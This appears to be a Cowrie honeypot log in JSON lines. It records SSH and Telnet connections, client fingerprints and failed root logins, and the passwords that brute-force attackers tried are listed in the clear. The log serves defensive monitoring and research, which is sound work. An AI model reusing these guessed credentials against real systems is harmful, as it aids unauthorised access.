{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./123","message":"login attempt [root/zxcvbnm,./123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:56.966178Z","src_ip":"43.153.54.120","session":"a36d5ddc08ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:58.041090Z","src_ip":"43.153.54.120","session":"a36d5ddc08ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37196,"dst_ip":"10.17.0.5","dst_port":23,"session":"41deca103352","protocol":"telnet","message":"New connection: 152.42.224.71:37196 (10.17.0.5:23) [session: 41deca103352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:42:58.525060Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":37060,"dst_ip":"10.17.0.5","dst_port":22,"session":"4abba1495468","protocol":"ssh","message":"New connection: 103.149.170.125:37060 (10.17.0.5:22) [session: 4abba1495468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:02.544228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:02.549373Z","src_ip":"103.149.170.125","session":"4abba1495468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:02.817386Z","src_ip":"103.149.170.125","session":"4abba1495468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":46472,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fb3b0ca98d0","protocol":"ssh","message":"New connection: 43.159.35.21:46472 (10.17.0.5:22) [session: 1fb3b0ca98d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:03.583636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:03.588772Z","src_ip":"43.159.35.21","session":"1fb3b0ca98d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asddsa","message":"login attempt [root/asddsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:03.621889Z","src_ip":"103.149.170.125","session":"4abba1495468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:03.834474Z","src_ip":"43.159.35.21","session":"1fb3b0ca98d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd1234","message":"login attempt [root/passwd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:04.849536Z","src_ip":"43.159.35.21","session":"1fb3b0ca98d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:04.892127Z","src_ip":"103.149.170.125","session":"4abba1495468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:06.099998Z","src_ip":"43.159.35.21","session":"1fb3b0ca98d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":57304,"dst_ip":"10.17.0.5","dst_port":22,"session":"88146f5872b0","protocol":"ssh","message":"New connection: 194.147.93.208:57304 (10.17.0.5:22) [session: 88146f5872b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:14.175223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:14.180092Z","src_ip":"194.147.93.208","session":"88146f5872b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:14.271105Z","src_ip":"194.147.93.208","session":"88146f5872b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:14.665154Z","src_ip":"194.147.93.208","session":"88146f5872b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:15.758905Z","src_ip":"194.147.93.208","session":"88146f5872b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":51280,"dst_ip":"159.203.135.109","dst_port":22,"session":"c14e110f854b","protocol":"ssh","message":"New connection: 193.228.128.84:51280 (159.203.135.109:22) [session: c14e110f854b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:20.515910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:20.521204Z","src_ip":"193.228.128.84","session":"c14e110f854b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:20.623418Z","src_ip":"193.228.128.84","session":"c14e110f854b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ssssss","message":"login attempt [root/ssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:20.932365Z","src_ip":"193.228.128.84","session":"c14e110f854b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:22.037361Z","src_ip":"193.228.128.84","session":"c14e110f854b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.85417771339417,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:25.787019Z","src_ip":"152.42.224.71","session":"298aa370af36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59084,"dst_ip":"10.17.0.5","dst_port":23,"session":"96fefe512d52","protocol":"telnet","message":"New connection: 152.42.224.71:59084 (10.17.0.5:23) [session: 96fefe512d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:27.162290Z"}
{"eventid":"cowrie.session.closed","duration":118.8607919216156,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:30.029128Z","src_ip":"152.42.224.71","session":"b84809c0a245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.946741580963135,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:39.471663Z","src_ip":"152.42.224.71","session":"41deca103352","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43268,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a9bf81389b3","protocol":"telnet","message":"New connection: 152.42.224.71:43268 (10.17.0.5:23) [session: 4a9bf81389b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:39.989501Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43274,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e86ccce878f","protocol":"telnet","message":"New connection: 152.42.224.71:43274 (10.17.0.5:23) [session: 1e86ccce878f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:45.261587Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":42578,"dst_ip":"10.17.0.5","dst_port":22,"session":"d117873de14c","protocol":"ssh","message":"New connection: 79.132.141.112:42578 (10.17.0.5:22) [session: d117873de14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:47.741308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:47.746930Z","src_ip":"79.132.141.112","session":"d117873de14c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:47.846636Z","src_ip":"79.132.141.112","session":"d117873de14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456456","message":"login attempt [root/456456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:48.230406Z","src_ip":"79.132.141.112","session":"d117873de14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:49.322068Z","src_ip":"79.132.141.112","session":"d117873de14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36912,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa15ec5e9bb6","protocol":"telnet","message":"New connection: 152.42.224.71:36912 (10.17.0.5:23) [session: aa15ec5e9bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:50.279431Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36914,"dst_ip":"10.17.0.5","dst_port":23,"session":"24cdf22abf88","protocol":"telnet","message":"New connection: 152.42.224.71:36914 (10.17.0.5:23) [session: 24cdf22abf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:52.105329Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":49274,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7e95e823ce","protocol":"ssh","message":"New connection: 62.133.63.178:49274 (159.203.135.109:22) [session: 8a7e95e823ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:54.152009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:54.157639Z","src_ip":"62.133.63.178","session":"8a7e95e823ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:54.282749Z","src_ip":"62.133.63.178","session":"8a7e95e823ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lena123","message":"login attempt [root/lena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:54.657630Z","src_ip":"62.133.63.178","session":"8a7e95e823ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:55.786449Z","src_ip":"62.133.63.178","session":"8a7e95e823ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":34886,"dst_ip":"159.203.135.109","dst_port":22,"session":"35836be587d9","protocol":"ssh","message":"New connection: 43.159.169.93:34886 (159.203.135.109:22) [session: 35836be587d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:59.972036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:43:59.981901Z","src_ip":"43.159.169.93","session":"35836be587d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:00.050691Z","src_ip":"43.159.169.93","session":"35836be587d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!","message":"login attempt [root/1234qwer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:00.355068Z","src_ip":"43.159.169.93","session":"35836be587d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":50146,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc468f533a5a","protocol":"ssh","message":"New connection: 62.193.106.227:50146 (10.17.0.5:22) [session: bc468f533a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:00.551848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:44:00.557476Z","src_ip":"62.193.106.227","session":"bc468f533a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["s